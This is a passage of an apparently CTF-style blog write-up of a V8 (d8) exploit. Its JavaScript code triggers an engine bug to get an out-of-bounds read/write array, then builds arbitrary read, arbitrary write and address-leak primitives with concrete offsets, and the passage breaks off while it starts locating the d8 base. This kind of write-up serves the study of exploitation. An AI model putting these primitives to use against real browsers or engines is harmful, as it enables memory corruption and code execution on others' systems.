&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_rw_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[FAIL] Triggered bug, but didn't update length of OOB RW buffer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was at this point that I noticed that from this point forward, I
would, for the most part, be unable to use the debug build. The reason
for this is that performing an OOB RW using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oob_rw_buffer&lt;/code&gt; caused a
dynamic debug-time check. Thus, I switched over to using the release
build from this point forward. I did temporarily switch back to the
debug build from time to time, in order to better obtain offsets for
exploitation, but otherwise, I relied almost entirely on the release
build.&lt;/p&gt;

&lt;h2 id=&quot;powerful-primitives&quot;&gt;Powerful Primitives&lt;/h2&gt;

&lt;p&gt;Now that we have an OOB RW primitive, we can start to craft more
useful primitives, namely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arb_read&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arb_write&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr_of&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arb_read(addr)&lt;/code&gt;: Reads 8 bytes from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr&lt;/code&gt; and returns as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BigInt&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arb_write(addr, value)&lt;/code&gt;: Writes the 8-byte &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BigInt&lt;/code&gt; value to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr_of(o)&lt;/code&gt;: Returns the address of the object &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;o&lt;/code&gt;. This &lt;em&gt;should&lt;/em&gt;
  give the same value as what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%DebugPrint&lt;/code&gt; returns.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unfortunately, in order to design these primitives, we are going to
need to modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trigger&lt;/code&gt; function above one last time. This is
because we need to introduce two more arrays that should be allocated
immediately after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oob_rw_buffer&lt;/code&gt;, and then use those to give us the
primitives we need.&lt;/p&gt;

&lt;p&gt;Modified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trigger&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// The arrays we shall target&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[{},&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;3.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Trigger the actual bug&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;	&lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Change `b.length` to 1024 * 1024&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

	&lt;span class=&quot;c1&quot;&gt;// Expose OOB RW buffer to outside world, for stage 1&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;untriggered&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, we have a set of 3 buffers that we can use to provide the exact
primitives we need:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oob_buffer&lt;/code&gt;: This is the attacked array, which provides us with the
ability to perform oob rw&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oob_buffer_unpacked&lt;/code&gt;: This array consists of tagged pointers and
unpacked floats. This will be used to give us the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr_of&lt;/code&gt;
primitive.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oob_buffer_packed&lt;/code&gt;: This array consists of packed floats. This will
be used to provide our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arb_read&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arb_write&lt;/code&gt; primitives.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What is this “packed” and “unpacked”? As a memory optimization, v8
stores an array consisting only of floats as a “packed” float
array. This means that all the floats lie contiguously. This is in
comparison to the unpacked form, which is used whenever there is at
least 1 non-float in the array. In this case, objects are stored as
tagged pointers, and the floats are stored in “boxed” form.&lt;/p&gt;

&lt;p&gt;With these now, we can define our primitives, which are got simply by
accessing the elements of the two latter buffers.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ADDR_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;leaked_addr_backing&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr_of&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ADDR_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also write some tests to help ensure that things work smoothly as
we move on to the next stages (you can find these in the final exploit
file).&lt;/p&gt;

&lt;h2 id=&quot;crafting-an-attack&quot;&gt;Crafting an Attack&lt;/h2&gt;

&lt;p&gt;With the powerful primitives that we now have access to, we can easily
trample over whatever memory we want/need.&lt;/p&gt;

&lt;p&gt;It was this point forward, that a lot of time was spent chasing after
leads that led to almost nowhere. I have skipped most of the details
of these, but what follows is a short summary, before I get to the
solution after &lt;a href=&quot;#hours-of-pain&quot;&gt;Hours of Pain!&lt;/a&gt;, during &lt;a href=&quot;#a-new-hope&quot;&gt;A New
Hope&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The first thing that I did was to try to obtain the location of
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;D8_BASE&lt;/code&gt; (i.e., find the start of the first page of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt;
executable). The code below was written after spending a whole bunch
of time trying to stabilize this.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;calc_d8_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;LEAKED_ADDR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
